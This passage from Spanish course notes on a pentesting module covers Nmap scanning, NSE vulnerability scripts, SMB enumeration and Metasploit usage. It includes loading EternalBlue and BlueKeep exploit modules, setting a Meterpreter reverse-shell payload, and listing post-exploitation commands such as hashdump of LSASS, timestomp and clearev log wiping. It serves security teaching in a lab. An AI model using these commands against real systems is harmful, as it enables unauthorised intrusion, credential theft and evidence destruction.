En el caso de máquinas en una red local ethernet, se seguirá realizando el sondeo ARP (a menos
que se especifique --disable-arp-ping o --send-ip) porque Nmap necesita las
direcciones MAC para seguir analizando los hosts objetivo. En versiones anteriores de Nmap, -
Pn era -P0 y -PN.

SALIDA

-oA <nombre_base>: Guardar en los tres formatos principales al mismo tiempo [.gnmap
.nmap .xml]. En el vídeo se dice que es para redireccionar la salida hacia un fichero.

Página 90 de 141
Imagen 144

A continuación, se muestran ejemplos con el Terminal de Kali:


nmap -sT -sV -O -T4 localhost -oA salida1

Repasemos:

-sT → TCP Scan (Connect Scan)

-sV → -sV: Sondear puertos abiertos, para obtener información de servicio/versión

-O → Activar la detección de sistema operativo (SO)

-T4 → -T4 tiene que ver con el control de tiempo y rendimiento. -T4 equivale a agresivo. El
modo agresivo hace que los sondeos sean más rápidos al asumir que está en una red
razonablemente más rápida y fiable. -T4 prohíbe que la expiración en sondeos dinámicos
exceda los 10ms para puertos TCP. Le recomiendo utilizar -T4 cuando sondee redes
razonablemente modernas y fiables. Le recomiendo que empiece siempre con -T4 si está
utilizando una conexión de banda ancha o conexión Ethernet decente. Algunas personas adoran
la opción -T5 aunque es demasiado agresiva para mi gusto. Mientras que puede ser útil evitar
alarmas de IDS con -T0 y -T1, éste tardará mucho más tiempo para sondear miles de sistemas
o puertos.

localhost → El comando se ejecuta contra localhost.

-oA <nombre_base> → Guardar en los tres formatos principales al mismo tiempo [.gnmap
.nmap .xml]. En el vídeo se dice que es para redireccionar la salida hacia un fichero.

Página 91 de 141
Imagen 145

A continuación, se ejecuta el mismo comando contra los puertos UDP:


nmap -sU -sV -O -T4 localhost -oA salida1

Imagen 146

Que solamente queremos lanzar este comando contra un determinado puerto (por ejemplo, el
3001), pues se pone:
nmap -sU -sV -O -T4 -p3001 localhost -oA salida1

Imagen 147

Que se quieren escanear todos los puertos (los 65 535 puertos existentes), se pone:
nmap -sU -sV -O -T4 -p- localhost -oA salida1

Imagen 148

Página 92 de 141
Si queremos escanear diferentes puertos, como el 111 y el 3001, se pone:
nmap -sU -sV -O -T4 -p111,3001 localhost -oA salida1

Imagen 149

Si no se quiere enviar el primer paquete ICMP (Internet Control Message Protocol - protocolo
de mensajes de control de Internet) para verificar si el equipo está vivo, se pone -Pn, quedando
el comando así:
nmap -sU -sV -O -T4 -p111,3001 localhost -oA salida1 -Pn

Además, con -Pn se evita en redes donde tengo filtrado ICMP que no me realice el escaneo.

Imagen 150

Scripts

Imagen 151

Página 93 de 141
Scripts que podemos usar. En el vídeo se comentan los siguientes (https://nmap.org/book/nse-
usage.html):
all

The special argument all makes every script in Nmap's script database eligible to run. The all
argument should be used with caution as NSE - Nmap Scripting Engine (NSE) may contain
dangerous scripts including exploits, brute force authentication crackers, and denial of service
attacks.

El argumento especial all hace que todos los scripts de la base de datos de scripts de Nmap
puedan ejecutarse. El argumento all debe usarse con precaución ya que NSE - Nmap Scripting
Engine (NSE) puede contener scripts peligrosos incluyendo exploits, crackers de autenticación
por fuerza bruta y ataques de denegación de servicio.
vuln

These scripts check for specific known vulnerabilities and generally only report results if they are
found. Examples include realvnc-auth-bypass and afp-path-vuln.

Estos scripts comprueban vulnerabilidades específicas conocidas y generalmente sólo informan


de los resultados si se encuentran. Algunos ejemplos son realvnc-auth-bypass y afp-
path-vuln.
safe

Scripts which weren't designed to crash services, use large amounts of network bandwidth or
other resources, or exploit security holes are categorized as safe. These are less likely to offend
remote administrators, though (as with all other Nmap features) we cannot guarantee that they
won't ever cause adverse reactions. Most of these perform general network discovery. Examples
are ssh-hostkey (retrieves an SSH host key) and html-title (grabs the title from a web
page). Scripts in the version category are not categorized by safety, but any other scripts which
aren't in safe should be placed in intrusive.

Los scripts que no han sido diseñados para bloquear servicios, utilizar grandes cantidades de
ancho de banda de red u otros recursos, o explotar agujeros de seguridad se clasifican como
seguros. Es menos probable que ofendan a los administradores remotos, aunque (como con
todas las demás funciones de Nmap) no podemos garantizar que no causen nunca reacciones
adversas.

La mayoría de estos [scritps] realizan un descubrimiento general de la red. Algunos ejemplos son
ssh-hostkey (recupera una clave de host SSH) y html-title (toma el título de una página
web).
auth

These scripts deal with authentication credentials (or bypassing them) on the target system.
Examples include x11-access, ftp-anon, and oracle-enum-users. Scripts which use
brute force attacks to determine credentials are placed in the brute category instead.

Estos scripts se encargan de las credenciales de autenticación (o de eludirlas) en el sistema de


destino. Algunos ejemplos son x11-access, ftp-anon y oracle-enum-users. Los
scripts que utilizan ataques de fuerza bruta para determinar las credenciales se colocan en la
categoría bruta (brute).

Página 94 de 141
discovery

These scripts try to actively discover more about the network by querying public registries,
SNMP-enabled devices, directory services, and the like. Examples include html-title
(obtains the title of the root path of web sites), smb-enum-shares (enumerates Windows
shares), and snmp-sysdescr (extracts system details via SNMP).

Estos scripts intentan descubrir activamente más información sobre la red consultando registros
públicos, dispositivos habilitados para SNMP (Simple Network Management Protocol - Protocolo
simple de administración de red), servicios de directorio (directory services) y similares. Algunos
ejemplos son html-title (obtiene el título de la ruta raíz/root path de los sitios web), smb-
enum-shares (enumera los recursos compartidos de Windows) y snmp-sysdescr (extrae
detalles del sistema a través de SNMP).
exploit

These scripts aim to actively exploit some vulnerability. Examples include jdwp-exec and
http-shellshock.

Estos scripts tienen como objetivo explotar (exploit) activamente alguna vulnerabilidad. Algunos
ejemplos son jdwp-exec y http-shellshock.

Estos son los cinco argumentos de línea de comandos específicos para la exploración de scripts
/ These are the five command-line arguments specific to script scanning
(https://nmap.org/book/nse-usage.html):
-sC

Performs a script scan using the default set of scripts. It is equivalent to --script=default.
Some of the scripts in this default category are considered intrusive and should not be run
against a target network without permission.

Realiza un escaneo de scripts utilizando el conjunto de scripts por defecto. Es equivalente a --


script=default. Algunos de los scripts de esta categoría por defecto se consideran
intrusivos y no deberían ejecutarse contra una red de destino sin permiso.
--script <filename>|<category>|<directory>/|<expression>[,...]

Runs a script scan using the comma-separated list of filenames, script categories, and
directories. Each element in the list may also be a Boolean expression describing a more complex
set of scripts. Each element is interpreted first as an expression, then as a category, and finally
as a file or directory name. The special argument all makes every script in Nmap's script
database eligible to run. The all argument should be used with caution as NSE - Nmap Scripting
Engine (NSE) may contain dangerous scripts including exploits, brute force authentication
crackers, and denial of service attacks.

Ejecuta un escaneo de scripts utilizando la lista separada por comas de nombres de archivos,
categorías de scripts y directorios. Cada elemento de la lista puede ser también una expresión
booleana que describa un conjunto más complejo de scripts. Cada elemento se interpreta
primero como una expresión, luego como una categoría y finalmente como un nombre de
archivo o directorio. El argumento especial all hace que todos los scripts de la base de datos
de scripts de Nmap puedan ser ejecutados. El argumento all debe usarse con precaución ya

Página 95 de 141
que NSE - Nmap Scripting Engine (NSE) puede contener scripts peligrosos incluyendo exploits,
crackers de autenticación por fuerza bruta y ataques de denegación de servicio.
--script-args <args>

Provides arguments to the scripts. / Proporciona argumentos a los scripts.


--script-args-file <filename>

This option is the same as --script-args except that you pass the arguments in a file
rather than on the command-line. / Esta opción es la misma que --script-args, salvo que
se pasan los argumentos en un archivo en lugar de en la línea de comandos.
--script-help <filename>|<category>|<directory>|<expression>|all[,...]

Shows help about scripts. For each script matching the given specification, Nmap prints the
script name, its categories, and its description. The specifications are the same as those
accepted by --script; so for example if you want help about the ssl-enum-ciphers
script, you would run nmap --script-help ssl-enum-ciphers.

Muestra la ayuda sobre los scripts. Para cada script que coincida con la especificación dada,
Nmap imprime el nombre del script, sus categorías y su descripción. Las especificaciones son
las mismas que las aceptadas por --script; así que, por ejemplo, si quiere ayuda sobre el
script ssl-enum-ciphers, debería ejecutar nmap --script-help ssl-enum-
ciphers.
--script-trace

Esta opción es similar a --packet-trace, pero funciona a nivel de aplicación en lugar de


paquete por paquete. Si se especifica esta opción, se imprimen todas las comunicaciones
entrantes y salientes realizadas por los scripts. La información mostrada incluye el protocolo de
comunicación, las direcciones de origen y destino, y los datos transmitidos. Si más del 5% de los
datos transmitidos no son imprimibles, se dan volcados hexadecimales en su lugar. Si se
especifica --packet-trace también se activa el seguimiento de los scripts.
--script-updatedb

Esta opción actualiza la base de datos de scripts que se encuentra en scripts/script.db y que es
utilizada por Nmap para determinar los scripts y categorías disponibles por defecto. Sólo es
necesario actualizar la base de datos si ha añadido o eliminado scripts de NSE del directorio de
scripts por defecto o si ha cambiado las categorías de algún script. Esta opción se utiliza por sí
misma sin argumentos: nmap --script-updatedb.

Some other Nmap options have effects on script scans. The most prominent of these is -sV. A
version scan automatically executes the scripts in the version category. The scripts in this
category are slightly different from other scripts because their output blends in with the
version scan results and they do not produce any script scan output to the screen. If the -oX
option is used, typical script output will still be available in the XML output file.

Another option which affects the scripting engine is -A. The aggressive Nmap mode implies
the -sC option.

Algunas otras opciones de Nmap tienen efectos sobre los escaneos de scripts. La más
destacada es -sV. Un sondeo de versiones ejecuta automáticamente los scripts de la categoría

Página 96 de 141
de versiones. Los scripts de esta categoría son ligeramente diferentes de otros scripts porque
su salida se mezcla con los resultados del análisis de versiones y no producen ninguna salida de
análisis de scripts en la pantalla. Si se utiliza la opción -oX, la salida típica de los scripts seguirá
estando disponible en el archivo de salida XML.

Otra opción que afecta al motor de scripts es -A. El modo agresivo de Nmap implica la opción -
sC.

En el vídeo, desde la consola de Kali Linux se hace:

La flag que hay que tener en cuenta es --script=

nmap -sT --script=exploit localhost -d → Esto busca si existen exploits para


ejecutar contra determinados servicios.

Imagen 152

También se ejecuta nmap -sT --script=vuln localhost -d → Verifica si existen


vulnerabilidades contra la máquina

Imagen 153

Página 97 de 141
También se ejecuta nmap -sT --script=all localhost -d → Esto ejecuta todo lo
que hay; pero hace muchísimo ruido. Cuando estamos en una infraestructura hay que ir muy
despacio.

Imagen 154

A continuación, se ven scripts que podemos ejecutar nosotros contra un determinado servicio.
Por ejemplo, el que aparece en la imagen 155 para Samba.
smb-check-vulns
smb-enum-shares
smb-vuln-ms17-010

Imagen 155

Desde la Terminal de Kali se ejecuta el comando (imagen 156):


nmap -sT -sV --script=smb-enum-shares.nse 192.168.1.130

-sT → TCP Scan (Connect Scan)

-sV → Sondear puertos abiertos, para obtener información de servicio/versión

smb-enum-shares.nse → Attempts to list shares using the srvsvc.NetShareEnumAll


MSRPC function and retrieve more information about them using srvsvc.NetShareGetInfo. If
access to those functions is denied, a list of common share names are checked.

Página 98 de 141
Finding open shares is useful to a penetration tester because there may be private files shared,
or, if it's writable, it could be a good place to drop a Trojan or to infect a file that's already there.
Knowing where the share is could make those kinds of tests more useful, except that
determining where the share is requires administrative privileges already.

Intenta enumerar los recursos compartidos mediante la función MSRPC (Microsoft Remote
Procedure Call) srvsvc.NetShareEnumAll y recuperar más información sobre ellos mediante
srvsvc.NetShareGetInfo. Si se deniega el acceso a esas funciones, se comprueba una lista de
nombres de recursos compartidos comunes.

Encontrar los recursos compartidos abiertos es útil para un probador de penetración


(penetration tester) porque puede haber archivos privados compartidos, o, si es escribible,
podría ser un buen lugar para dejar caer un troyano o infectar un archivo que ya está allí. Saber
dónde está el recurso compartido podría hacer que este tipo de pruebas fueran más útiles,
excepto que determinar dónde está el recurso compartido ya requiere privilegios
administrativos. (https://nmap.org/nsedoc/scripts/smb-enum-shares.html)

192.168.1.130 → El comando se ejecuta contra 192.168.1.130

En definitiva, se enumeran las carpetas compartidas que pueda tener mi máquina.

Imagen 156

Se han detectado posibles carpetas compartidas. Realmente yo tengo diferentes carpetas


compartidas, pero no hay acceso. Por eso nos indica que no podemos tener lectura. En caso de
que pudiéramos entrar y escribir, nos lo indicaría.

Página 99 de 141
También se ejecuta este comando (imagen 157):
nmap -sT --script=smb-protocols 192.168.1.130

-sT → TCP Scan (Connect Scan)

smb-protocols → Attempts to list the supported protocols and dialects of a SMB (Server
Message Block) server. // Intenta listar los protocolos y dialectos soportados de un servidor SMB
(Server Message Block). https://nmap.org/nsedoc/scripts/smb-protocols.html

192.168.1.130 → El comando se ejecuta contra 192.168.1.130

Imagen 157

Aquí nos ha identificado los posibles protocolos habilitados. Nos permite autenticación a través
de NT LM - NT (New Technology) LAN Manager (NTLM), y tiene habilitados estos (señalándose
2.02, 2.10, 3.00, 3.02, 3.11)

También se ejecuta este comando (imagen 158):


nmap -sT --script=smb-os-discovery.nse -p445 192.168.1.130

-sT → TCP Scan (Connect Scan)

smb-os-discovery.nse → Attempts to determine the operating system, computer name,


domain, workgroup, and current time over the SMB protocol (ports 445 or 139). This is done by
starting a session with the anonymous account (or with a proper user account, if one is given; it
likely doesn't make a difference); in response to a session starting, the server will send back all
this information.

Página 100 de 141


The following fields may be included in the output, depending on the circumstances (e.g. the
workgroup name is mutually exclusive with domain and forest names) and the information
available:

OS

Computer name

Domain name

Forest name

FQDN

NetBIOS computer name

NetBIOS domain name

Workgroup

System time

Intenta determinar el sistema operativo, el nombre del ordenador, el dominio, el grupo de


trabajo y la hora actual a través del protocolo SMB (puertos 445 o 139). Esto se hace iniciando
una sesión con la cuenta anónima (o con una cuenta de usuario adecuada, si se da una;
probablemente no haya diferencia); en respuesta al inicio de sesión, el servidor devolverá toda
esta información.

Los siguientes campos pueden incluirse en la salida, dependiendo de las circunstancias (por
ejemplo, el nombre del grupo de trabajo es mutuamente excluyente con los nombres del
dominio y del bosque/forest) y de la información disponible:

SO

Nombre del ordenador

Nombre del dominio

Nombre del bosque/Forest name

FQDN (Fully Qualified Domain Name)

Nombre de ordenador NetBIOS

Nombre de dominio NetBIOS

Grupo de trabajo/Workgroup

Hora del sistema

-p445 → Se sondea el puerto 445

192.168.1.130 → El comando se ejecuta contra 192.168.1.130

Página 101 de 141


Imagen 158

También se ejecuta (imagen 159):


nmap -sC -p445 192.168.1.130 -T4

-sC → Basta con especificar -sC para activar los scripts más comunes

-p445 → Se sondea el puerto 445

192.168.1.130 → El comando se ejecuta contra la IP 192.168.1.130

-T4 → Plantilla de tiempo de modo agresivo

Así que -sC nos ha enviado la seguridad que tiene habilitada (smb2-security-mode); el modo de
seguridad (smb-security-mode); el smb-os-discovery. Es decir, -sC nos ha lanzado una batería
de scripts que también los podemos lanzar nosotros individualmente.

Imagen 159

Página 102 de 141


ICA0011-S04-C01-V05-Metasploit-Framework
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111822)

En este video, Metasploit Framework, se ve:

1. ¿Qué es?
2. Módulos
3. Comandos básicos
4. Meterpreter

Imagen 160

¿Qué es?

Metasploit Framework es un framework de explotación. ¿Por qué decimos de explotación?


Bueno, no es que sea del todo de explotación. Es un framework que nos ayuda como auditor a
poder testear y probar diferentes vulnerabilidades, o nos ofrece diferentes herramientas que
nos van a ayudar como pentester o como auditor a facilitarnos el trabajo de cara a una auditoría.

¿Para qué usarlo? Tanto para pentesting, para hacer nuestras pruebas o por ejemplo en Hack
The Box o en auditorías reales, y nos permite detectar si un servicio o un equipo puede ser
vulnerable a cierta vulnerabilidad, a través por ejemplo de un auxiliary, y luego a través del
exploit, una vez que nos haya indicado que se puede explotar, a través de la opción del exploit
podríamos explotarlo. Es decir, que nos puede dar las 2 funcionalidades.

No podemos decir que sea un escáner de vulnerabilidades porque no es así. Es decir, nosotros
tenemos que saber qué servicio se está ejecutando en cierta máquina, y a raíz de ahí, haciendo
un reconocimiento previo, intentaremos deducir/verificaremos si existe un exploit público o no.

Página 103 de 141


Imagen 161

Módulos

Imagen 162

Metasploit se divide en diferentes módulos:

Auxiliary → Supongamos que nosotros queremos escanear/verificar si un equipo es


vulnerable a EternalBlue, a través de SMB [Server Message Block] versión 1. Fue la
famosa vulnerabilidad para el ransomware de WannaCry. Metasploit nos trae un
Auxiliary, que es como el escáner para verificar.

Exploits → Es la parte donde se almacenarían todos los exploits que nosotros vamos a
poder configurar dentro de nuestro framework, una vez que esté ejecutado.

Página 104 de 141


Encoders → Si vamos a querer encodear (codificar) algo en la salida, o algún shellcode
o lo que sea.

Payloads → Va a ser el trozo de código que va a hacer que nos devuelva una Reverse
Shell o una Bind Shell.

Evasion → Hay otras funcionalidades que, por ejemplo, si quisiéramos tener evasión de
antivirus podríamos utilizar diferentes técnicas o diferentes módulos que ya nos trae
Metasploit.

Post → Está definido para cuando nosotros ya tenemos una Shell o un Meterpreter. Es
decir, ya hemos accedido a una máquina y tenemos nosotros por ejemplo una Shell con
un usuario con pocos privilegios, por ejemplo, con el usuario de Apache, /usr, o con
pepito y queremos ser root. Nosotros tenemos funcionalidades que son posexplotación;
es decir, una vez que ya tenemos la explotación realizada, vamos a intentar llevar a más
esa explotación. Para ello, tenemos que escalar casi siempre privilegios.

A continuación, se muestra una consola de Kali Linux, donde previamente se ha hecho


msfconsole

https://www.offensive-security.com/metasploit-unleashed/msfconsole/

The msfconsole is probably the most popular interface to the Metasploit Framework (MSF).
It provides an “all-in-one” centralized console and allows you efficient access to virtually all of
the options available in the MSF. MSFconsole may seem intimidating at first, but once you learn
the syntax of the commands you will learn to appreciate the power of utilizing this interface.

La msfconsole es probablemente la interfaz más popular para el Metasploit Framework


(MSF). Proporciona una consola centralizada "todo en uno" y permite un acceso eficiente a
prácticamente todas las opciones disponibles en el MSF. MSFconsole puede parecer intimidante
al principio, pero una vez que aprendas la sintaxis de los comandos aprenderás a apreciar el
poder de utilizar esta interfaz.

Se hace un search eternal (en referencia a EternalBlue)

Imagen 163

Página 105 de 141


En el vídeo se habla de #1, cuyo Name es auxiliary/scanner/smb/smb_ms17_010 y se dice
tenemos que es un escáner; con esto nosotros verificaríamos si la máquina es vulnerable.

Seguidamente, se ejecuta use auxiliary/scanner/, se dice que sí (y) y se dice: si nos


fijamos, tenemos diferentes escáneres para verificar diferentes posibles vulnerabilidades
(imagen 164).

Imagen 164

Se vuelve a ejecutar search eternal y se dice que tenemos diferentes exploit. Esto ya sería
para ejecutar y lanzar contra la máquina. Y si esto funciona porque es vulnerable
automáticamente tendríamos una Shell (imagen 165).

Imagen 165

Página 106 de 141


La estructura donde se almacena todo: /usr/share/Metasploit-
framework/modules, y ahí tenemos auxiliary y exploits. Luego, en el vídeo se va viendo la
estructura de directorios (imagen 166).

Imagen 166

¿Dónde podemos descargar Metasploit? Lo podemos instalar o bien con apt, o a través de su
GitHub (https://github.com/rapid7/metasploit-framework), con un Git clone.

Estructura de directorios

En la imagen 167, si nos fijamos vemos toda la estructura.

Todos los exploits se hacen en Ruby para poderlos integrar con Metasploit.

Imagen 167

Página 107 de 141


Atributos Exploit y Métodos Exploit

Imagen 168

Atributos Exploit

RHOST

RPORT

SRVHOST

URIPATH

PAYLOAD

Métodos Exploit:

exploit

check

Se hace un ejemplo con el auxiliary de EternalBlue.

Primeramente, se muestra la consola de Kali habiéndose ejecutado search eternal


(imagen 169).

Imagen 169

Página 108 de 141


Y se dice: Nosotros aquí tenemos diferentes módulos. Si queremos usar un módulo tenemos
que utilizar use. En este caso, se hace use
auxiliary/admin/smb/ms17_010_command (se carga el módulo #0 que aparece al
hacer search eternal). Con esto se carga dicha opción.

Para ver las opciones que tenemos para configurar se hace show options. Se ve que
aparecen 2 atributos: RHOSTS y RPORT (imagen 170).

Imagen 170

Con set el_parámetro y_la_IP —en este caso, set rhosts 192.168.1.1— le
decimos que lo configure y ya nos cargaría el RHOSTS deseado, que se puede ver si se hace show
options (imagen 171).

Imagen 171

Página 109 de 141


Si ahora queremos ejecutarlo, sería con run. Entonces, se nos dice que el sistema operativo
target es Unix y que, por tanto, la vulnerabilidad no se puede utilizar (porque EternalBlue solo
afecta a Windows).

Imagen 172

Para quitar la IP que hemos puesto se hace unset RHOSTS. Si se hace show options se ve
que ya no aparece (imagen 173).

Imagen 173

Si el SMB (Server Message Block) estuviera ejecutado en otro puerto que no fuera el 445, se
haría set rport y_el_puerto_que_quisiéramos_configurar. Para quitarlo se
haría unset rport.

Métodos Exploit

exploit

check

Página 110 de 141


Primeramente, una vez se está en msfconsole… (imagen 174).

Imagen 174

… se hace search bluekeep (imagen 175).

Imagen 175

Tenemos:

Un escáner para verificar si es vulnerable el equipo →


auxiliary/scanner/rdp/cve_2019_0708_bluekeep

Y un exploit → exploit/windows/rdp/cve_2019_0708_bluekeep_rce

Vamos a hacer el ejemplo con el exploit:


use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

show options → En Current Setting se ve la IP donde lo va a lanzar (192.168.0.100). En el


vídeo se dice: Esta es una falsa. Vamos a poner esta mismo.
set rhost 192.168.0.56
exploit

Página 111 de 141


Imagen 176

A continuación, se hace show options (imagen 177)…

Imagen 177

Página 112 de 141


… y se dice: Aquí automáticamente nos ha cargado un Payload —Payload options
(generic/shell_reverse_tcp):—. Este Payload es genérico, si quisiéramos cambiar el Payload
también podríamos hacerlo. Sería con:
set payload
y_ya_buscaríamos_el_que_necesitáramos_para_cierto_momento

¿Por qué digo esto? Porque hay veces que ejecuta por defecto uno de 64 bits y, a lo mejor, la
máquina víctima es de 32 bits. Por eso, nos puede pasar que al ejecutar el exploit no funcione
correctamente.

Por último, si desde msfconsole se ejecuta el comando help se ve la ayuda.

ICA0011-S04-C01-V05-Metasploit-Framework_2
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111823)

Payload

RHOST

LHOST

LPORT

Imagen 178

A continuación, se muestran ejemplos desde la máquina virtual de Kali.

Primeramente, se ponen estos comandos (imagen 179):


search bluekeep
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show options

set rhosts 192.168.1.56 → Esto es para configurar un target

Página 113 de 141


Imagen 179

Y ahora vamos a modificar el Payload:


use payload windows/x64/meterpreter/reverse_tcp

Se le dice que queremos uno de x64. Si quisiéramos uno de 32 bits no le indicaríamos


nada.

meterpreter → meterpreter es porque la Shell que queremos obtener es un


meterpreter, es decir, una Shell con ya funcionalidades cargadas.

reverse_tcp → y queremos que sea Reverse Shell

Imagen 180

De todas las opciones que se muestran, se escoge la 810, que pone


payload/windows/powershell_bind_tcp (se dice mira, una PowerShell).

Página 114 de 141


Imagen 181

A continuación, se pone use payload/windows/powershell_bind_tcp y show


options. Y se dice: y este también tiene opciones de configuración: set rhost somos
nosotros, donde vamos a querer obtener la [¿set?]. Entonces, habría que poner la IP de Kali,
192.168.1.163 (para verla se hace ifconfig y se pone la inet de eth0, como se ve en la imagen
183) [aunque al hacer show options, en la Description de RHOST se dice The target address,
¿vendrá de aquí el hecho de que no funcionara?], quedando así: set rhost
192.168.1.163. Finalmente, se hace un run y un exploit, pero no parece funcionar.

Imagen 182

Página 115 de 141


Imagen 183

Como no parece funcionar, se hace un exit y se dice: Cuando lo ejecutamos vamos a configurar
nuestro exploit con un payload que nosotros vamos a poder configurar. Esto, al verlo en la opción
por defecto, normalmente, él [supongo que en referencia a Metasploit/payload] va a coger la
arquitectura por defecto, que casi siempre va a ser x64. Esto es una cosa a tener en cuenta por
si vemos que un exploit no nos funciona y sabemos que lo hemos probado en otra máquina,
sabemos que está funcionando correctamente, pues nosotros podemos cambiar la arquitectura
porque posiblemente sea ese uno de los errores.

Mientras, se hacen estos comandos:


msfconsole
search bluekeep
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show options
set rhosts 192.168.1.56
run

Pero parece no funcionar. En el video se dice esto porque no existe (imagen 184).

Imagen 184

Lo que más quiero que veamos es: qué vamos a tener que configurar para diferentes
funcionalidades. Metasploit tiene infinidades de funcionalidades más. Aquí vamos a ver cómo
configurar un auxiliary y la ejecución tanto de un auxiliary como de un exploit.

Página 116 de 141


Comandos básicos

Ayuda

Imagen 185

https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/

help → El comando help da una lista y una pequeña descripción de todos los
comandos disponibles.

search → msfconsole incluye una amplia funcionalidad de búsqueda basada en


expresiones regulares. Si tiene una idea general de lo que está buscando, puede buscarlo
a través de la búsqueda. Ejemplo (imagen 186): se busca (search) el MS Bulletin MS09-
011 (search usermap_script). La función de búsqueda localizará esta cadena
(string) entre los nombres de los módulos (module names), las descripciones
(descriptions), las referencias (references), etc.

Tenga en cuenta que la convención de nomenclatura de los módulos de Metasploit


utiliza guiones bajos en lugar de guiones.

Imagen 186

info → El comando info proporcionará información detallada sobre un módulo en


particular, incluyendo todas las opciones (all options), objetivos (targets) y otra
información. Asegúrese de leer siempre la descripción del módulo antes de utilizarlo, ya
que algunos pueden tener efectos no deseados.

El comando info también proporciona la siguiente información:

El autor y la información de la licencia (The author and licensing information)

Referencias de vulnerabilidad (por ejemplo: CVE, BID, etc)

Página 117 de 141


Cualquier restricción de payload (carga útil) que pueda tener el módulo

El info nos daría la información del exploit: para qué arquitectura está hecho, si hubiera
que cambiar algún parámetro, si hay algún parámetro que es obligatorio...

show → Introduciendo show en el prompt de msfconsole se mostrarán todos los


módulos de Metasploit (Entering show at the msfconsole prompt will display every
module within Metasploit).

Hay una serie de comandos show que se pueden utilizar, pero los que se utilizan con
más frecuencia son: show auxiliary, show exploits, show payloads, show
encoders, y show nops.

show lo podemos utilizar para saber las opciones que va a tener, por ejemplo, un exploit.
Como lo hemos estado utilizando con show options

Interacción

Imagen 187

https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/

use → Cuando se haya decidido por un módulo en particular para utilizarlo (When you
have decided on a particular module to make use of), emita el comando use para
seleccionarlo. El comando use cambia tu contexto a un módulo específico, exponiendo
los comandos específicos del tipo (type-specific commands). Observe en la salida
(output) de la imagen 188 que cualquier variable global (any global variables) que se
haya establecido previamente ya está configurada.

El use es para establecer qué modulos o auxiliary vamos a querer usar.

Imagen 188

Página 118 de 141


set → El comando set permite configurar las opciones y parámetros del Framework
para el módulo con el que se está trabajando.

set es para setear una variable.

unset → Lo contrario del comando set es unset. unset elimina un parámetro


previamente configurado con set. Puedes eliminar todas las variables asignadas con
unset all.

connect → Hay un clon de Netcat en miniatura incorporado en la msfconsole que


soporta SSL, proxies, pivoting y transferencias de archivos (file transfers). Emitiendo el
comando connect con una dirección IP (IP address) y un número de puerto (port
number), puedes conectarte a un host remoto desde msfconsole de la misma
manera que lo harías con Netcat o Telnet.

Es para que se ejecute. Hay otros parámetros como run o exploit.

load → El comando load carga un plugin desde el directorio de plugins de Metasploit.


Los argumentos se pasan como key=val en el shell.

unload → Por el contrario, el comando unload quita un plugin previamente cargado


y elimina cualquier comando extendido (removes any extended commands).

load/unload para cargar o no cargar.

sessions → El comando sessions le permite listar (list), interactuar (interact) y


matar (kill) las sesiones generadas (spawned sessions). Las sesiones pueden ser shells,
sesiones de Meterpreter, VNC, etc.

Para controlar las sesiones que tengamos. Nosotros podemos usar Metasploit como un
Command & Control. Al final podemos tener diferentes Shell que van a tener un
identificador y vamos a poder cargarlas y ponerlas en background cuando queramos
(dependiendo de si la máquina se cae o no se cae; si se cae esa Shell la perdemos).

exploit → Para ejecutar

show exploits → Naturalmente, show exploits será el comando que más le


interese ejecutar, ya que, en su esencia, Metasploit se trata de explotación
(exploitation). Ejecuta show exploits para obtener un listado de todos los exploits
contenidos en el framework.

Meterpreter

Nosotros, cuando obtenemos una Shell de un equipo, es decir, obtenemos acceso a una
máquina, ejecutando, por ejemplo, a través de una vulnerabilidad que nos envíe un Netcat,
porque previamente [¿está?] en la máquina víctima. Y esa Shell no sería una Shell como
Meterpreter.

¿Por qué? Porque Meterpreter, internamente, cuando se ejecuta esa Shell, trae ya infinidades
de funcionalidades que nos ayudan como pentester de cara a una posexplotacion. Es decir,
nosotros tenemos diferentes comandos que vamos a poder ejecutar internamente cuando
tengamos una Shell Meterpreter.

Comandos básicos

Página 119 de 141


Migrate <pid> → Podemos migrar de proceso

Hashdump → Podemos hacer un Hashdump, que es para dumpear los hashes. Esto es
muy utilizado, por ejemplo, si yo ejecuto un exploit de EternalBlue, siempre que obtengo
acceso en un sistema operativo Windows como NT AUTHORITY SYSTEM. Con eso vamos
a poder dumpear los hashes de un proceso LSASS (Local Security Authority Subsystem
Service - Servicio de Subsistema de Autoridad de Seguridad Local). Si nosotros
dumpeamos ese proceso vamos a poder tener unos hashes para poder autenticarnos
para una posible posexplotación.

Shell → Podemos ejecutar internamente, aparte de tener un Meterpreter, tener una


consola Shell, o bien de PowerShell, o bien de cmd, o bien un bash.

Upload / Download → Podemos subir y descargar ficheros.

Y podemos buscar y ejecutar diferentes funcionalidades con Search -f y Execute


-f

PS → El comando ps muestra una lista de procesos en ejecución en el objetivo (target)


(https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/).
Podemos listar procesos.

sysinfo → Listar información

timestomp → Timestomp es una herramienta anti-forense que sirve para leer y


escribir los registros de tiempo o time-stamps de los archivos en NTFS (New Tecnology
File System)

Clearev → The clearev command will clear the Application, System,


and Security logs on a Windows system. There are no options or arguments. El comando
clearev borrará los registros de Aplicación, Sistema y Seguridad en un sistema
Windows. No hay opciones ni argumentos.
Execute -f

execute –f file [Options] → Execute the given “file” on the OS target host
// Ejecutar el "archivo" dado en el host de destino del SO
(https://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf)

Options:

-H Create the process hidden from view

-a Arguments to pass to the command

-i Interact with the process after creating it

-m Execute from memmory

-t Execute process with currently impersonated thread token

Ejecuta el "archivo" dado en el host de destino del SO (Execute the given “file” on the
OS target host).

Opciones:

Página 120 de 141


-H Crear el proceso oculto a la vista

-a Argumentos para pasar al comando

-i Interactuar con el proceso después de crearlo

-m Ejecutar desde la memoria

-t Ejecutar el proceso con el token de hilo actualmente suplantado (Execute process


with currently impersonated thread token)

Load incognito → Podemos cargar incognito, que es para intentar que haga una
impersonalización del usuario.

Imagen 189

ICA0011-S04-C01-V06 Demo_1_Explotación Real de un Sistema


(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111824)

En este vídeo, Demo 1: Explotación real de un sistema, se ve:

1. Análisis de herramientas aprendidas


2. Ejemplo real de explotación

Imagen 190

Página 121 de 141


Análisis de herramientas aprendidas

Nmap → Para verificar y [¿detectar?] puertos abiertos y servicios corriendo.

Metasploit → Nos vale para analizar, explotar y posexplotación.

